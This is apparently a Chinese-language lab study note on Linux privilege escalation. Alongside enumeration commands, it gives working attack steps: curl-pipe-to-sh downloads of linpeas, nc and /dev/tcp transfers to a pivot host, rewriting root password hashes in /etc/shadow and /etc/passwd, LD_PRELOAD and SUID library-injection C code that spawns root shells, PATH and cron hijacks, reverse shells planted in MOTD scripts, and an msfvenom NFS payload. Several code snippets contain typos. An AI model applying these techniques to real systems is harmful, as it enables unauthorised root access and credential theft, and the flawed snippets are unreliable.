Linux中提权的最终目标是获得root用户权限

1.用户、组、文件、目录关系

1
2
kali用户可以在多个组,一个组可以用kali、root等用户
每个文件、目录都可以根据用户、组来定义权限
1
2
3
4
对于用户,配置文件在/etc/passwd  用户密码哈希存储在/etc/shadow
uid是识别用户的根本特征,root是一类uid=0的用户而不是单个用户
每个用户有3个用户id(real、effective、saved)用户的真实ID是/etc/passwd中定义的ID
但是作为另一个用户执行一个进程时,有效id被设置为该用户的真实身份,在大多数访问控制决策中,有效ID用于验证用户,就像这里swq的id和组

image-20230925203551051

1
2
组配置在/etc/group。用户有一个主要组,并且可以有multiple二级组
默认情况下,用户的主要组和用户账户名称相同
1
2
3
4
对于文件和目录来说,他们都有一个所有者和一个组,系统定义他们的所有者对他们具有r、w、x操作
同时系统还定义了组、其他用户对他们的权限,ls -l可以查看
“-” 表示普通文件,如.txt.c,*.h “d” 表示目录,directory “l” 表示软链接文件(ln -s 创建的),link file “p” 表示pipe管道文件 “b” 表示块设备文件,block device “c” 表示字符设备文件,char device “s” 表示socket套接字文件,用于实现两个进程间通信
[rwx][r-x][r-x]分别代表(所有者、组、其他)权限

image-20230925201533992

1
2
3
对于权限,rwx不再赘述,应该重点关注setuid(SUID)bit以及setgid(SGID)bit
SUID:文件以所有者的权限执行
设置在文件上时,文件将使用文件组的权限执行。设置在目录上时,该目录内创建的文件将继承目录本身的组。
1
2
3
当前进程(shell)
cat /proc/$$/status | grep "[UG]id"
目的是获取当前正在运行的 shell 进程的用户标识(UID)和组标识(GID)信息

2.提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
对于信息收集
whoami # 查看当前用户权限,如果是root用户就不用提权;
id # 查看当前id的uid和gid,和权限
id+其他用户 # 查看某个用户
who # 查看其他登录状态的用户用户
w # 当前用户的具体信息
last # 最近登录进来的用户
uname -a # 查看linux操作系统内核信息
uname -r # 查看内核版本
cat /proc/version # 查看linux系统当前操作系统版本信息
cat /etc/issue # 查看linux当前操作系统发行版本信息
cat /etc/redhat-releas # 查看linux当前操作系统发行版本信息
cat /etc/*-release # 查看linux当前操作系统发行版本信息
ip addr # 查看当前用户的网卡和ip
ip route # 查看路由
ip neigh # 查看网络邻居
arp -a # 查看局域网中绑定的ip地址
hostname # 查看机器名称
hostnamectl # 显示的名称更加全
sudo -l # 查看那些是可以以root权限运行的用户
getcap -r / 2>/dev/null # 利用缺陷提权,
ls -a #
history # 历史记录
cat /etc/passwd # 查看用户数有bash的用户
cat /etc/crontab # 查看是否有自动任务
echo $PATH # 查看是否有特殊路径
env # 看整体环境变量
ps -ef # 查看进程
ps axjf # 查看进程个数,x指没有连接终端的进程
ps aux # 查看进程个数 a所有 u指使用的用户
top # 查看进程,在不断的刷新
top -n 1 # 查看进程,但不刷新
netstat -a # 查看占用进程的端口及id
netstat -at/-au # 查看带有tcp或者udp的进程
netstat -l #查看那些端口在被监听
netstat -ano #
find / -perm -u=s -type f 2>/dev/null # 列出有usr的文件
which awk perl python ruby gcc vi vim nmap find screen 2>/dev/null #查看用户是否安装vi vim... 可以用which查看那些可执行文件
cat /etc/fstab #查看那些磁盘没挂载
也可以通过自动化脚本,但是容易被主机安全设备发现
PEASS-ng

执行:

1.可以下载本地执行
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh | sh
2.如果是二层内网渗透可以在跳板机下载wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh
跳板机以root开启端口sudo python3 -m http.server 80,(sudo php -s 0:80)
跳板机用nc监听81端口并把收到的流量保存起来sudo nc -lvnp 81 | tee linpeas.txt
二层内网机器对跳板机进行curl 192.168.178.141/linpeas.sh | sh | nc 192.168.178.141 81
这样方便把扫描结果拿回攻击机方便查看less -r linpeas.txt
补充:cat命令下操作
跳板机:sudo nc -lvnp 80 < linpeas.sh
二层内网机器:cat < /dev/tcp/192.168.178.141/80 | sh
1
2
3
4
服务漏洞mysql-UDF(User Define Function)提权
UDF是mysql的一个拓展接口能让管理者自定义一些函数来使用。
searchsploit mysql udf
会有相关文档,直接按照文件里说的进行操作即可,建议在本地环境进行静态编译预防二层系统闭网且缺乏组件
1
2
3
可读shadow文件利用
查看有hash值的用户cat /etc/shadow | grep ':$'
hash-identifier识别加密方法

image-20230930110754779

1
2
现在知道加密方法,我们把123456加密一下放到shadow里,在此之前备份一下shadow文件cp /etc/shadow /tmp/shadow.txt
mkpasswd -m sha-512 123456 写入shadow里,就能用123456登录了
1
2
对于passwd文件的利用
我们知道shadow里的hash密码在passwd里是以x存在,那么我们可以通过openssl passwd 123456替换root的x就能更改root密码
1
2
sudo环境变量提权是最常用的,也是实战里最少出现的
sudo -l 有env_reset 和env_keep俩选项说明是可以提权的

image-20230930114450822

1
2
3
4
5
6
7
8
9
10
11
12
13
14
创建一个C语言文件vim shell.c
#include<stdio.h>
#include<sys/types.h>
#include<stdlib.h>
void _init(){
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
在这里使用的共享库要用共享库来编译
gcc -fPIC -shared -o shell.so -nostartfile
然后通过共享库使用sudo中无密码使用的find等工具,完成提权
sudo LD_PRELOAD=shell.so find
1
2
3
4
自动任务提权实战里也很少见
cat /etc/crontab如果有root执行的类似day.sh文件用local day.sh查看位置
ls -liah /day.sh查看内容、权限,如果可写,就写入反弹shell,等待

1
2
3
4
自动任务PATH环境变量提权
这里有2个前提
1.crontab只会执行crontab中的路径集 2.path有家目录,会优先运行家目录优先级靠前的文件

image-20230930121923918

1
2
3
4
5
向overwrite.sh写入执行脚本
#! /bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
等一会/tmp/rootbash -p就拿到权限了
1
2
suid可执行文件已知利用提权
find / -perm -u=s -type f 2>/dev/null 查找并列出所有设置"setuid"权限的文件,这里关注exim-4.84.3

image-20230930212719789

1
2
searchsploit exim,用这个39535,根据文件操作即可
还有一个网站exploit-db.com相同的功能

image-20230930212914646

1
2
3
4
SUID共享库注入提权
直接执行可执行文件suid-so
/usr/local/bin/suid-so
直接strings /usr/local/bin/suid-so

image-20230930214147092

1
对strings进行追踪,发现没有目录,那就创建文件strace /usr/local/bin/suid-so 2>&1 | grep '/home'
1
2
3
4
5
6
7
8
9
10
写个libcalc.c
#include<stdio.h>
#include<stdblib.h>
statuc void inject() __attribute__((constructor));
void inject(){
setgid(0);
setuid(0);
system("/bin/bash -p");
}
执行共享库gcc -shared -fPIC -o libcalc.so libcalc.c然后执行可执行文件
1
2
3
SUID环境变量利用提权
find / -perm -u=s -type f 2>/dev/null
利用suid-env进行提权

image-20230930215434900

1
2
strings /usr/local/bin/suid-env
查看看到最后是相对路径,并不是绝对路径,可以对其进行劫持,使其执行我们提供的相对路径的service文件

image-20230930215752509

1
2
3
4
5
6
7
8
9
10
11
12
vim service.c
#include<stdio.h>
#include<stdlib.h>
void main(){
setgid(0);
setuid(0);
system("/bin/bash -p");
}
gcc -o service service.c //如果靶机没有相关库就在攻击机静态编译
要对路径进行指定,这样就可以优先读取家目录下的service服务
export PATH=.:$PATH
/usr/local/bin/suid-env

image-20230930220325517

1
2
巧用SUID-SHELL功能提权#1
在bash版本号小于4.2时,可以在bash中定义函数,然后用路径的组合做文件名,所以正好契合上面service的利用方式

image-20230930220820001

1
2
3
function /usr/sbin/service { /bin/bash -p; }
最后导入环境变量
export -f /usr/sbin/service

image-20230930221358855

1
2
密码和密钥历史文件提权
history

image-20231001170704869

1
cat ~/.*history | les  查看history相关文件

image-20231001170959649

1
ls -liah查看特殊文件,比如.viminfo

image-20231001171251663

1
2
密码和密钥配置文件的查看特权
家目录先的所有文件都要翻翻看看 比如myvpn.ovpn
1
2
SSH密钥敏感信息提权
到根目录下查找.ssh文件,这个很重要因为不仅高权限用户可以登录ssh,低权限用户也可以登录到.ssh文件下发现root_key

image-20231001172552393

1
复制key,对文本加权尝试连接 发现签名不对,就直接加

image-20231001172730335

1
2
3
4
5
NFS提权
NFS文件共享的意思,网络文件共享,可以用于撕口子也可以用于提权
cat /etc/exports 查看是否有NFS服务
建立NFS,反弹shell mount -o rw,vers=3 10.10.10.12:/tmp /tmp/nfs
注意这里版本为3.发现要创建软连接

image-20231001185627781

1
到tmp下查看一下我们创建的软连接

image-20231001190020944

1
2
3
用msf生成shell  msfvenom -p linux/x86/exec CMD="/bin/bash-p" -f elf -o /tmp/nfs/shell.elf
然后给文件权限
到俩台主机的共享文件下运行shell文件
1

image-20231001190522957

1
2
3
4
内核利用提权
一般渗透最后办法了在利用内核提权,很需要经验
uname -a查看内核,版本越低漏洞越多 然后同上linpeass的使用(不能访问外网)
借助searchsploit即可
1
2
3
doas less+vi 提权
find / -group user -type f 2>/dev/null 查看可利用文件
find / -perm -u=s -type f 2>/dev/null

image-20231001193236300

image-20231001193747105

1
2
less /etc/doas.conf
ESC+:!sh即可执行doas里var权限
1
2
利用MOTD机制提权
查看motd文件 cd /etc/update-motd.d 里面有00-header文件是欢迎文件,一般等用户登录上就会直接执行

image-20231001194716958

1
写入反弹shell进行监听

image-20231001194839915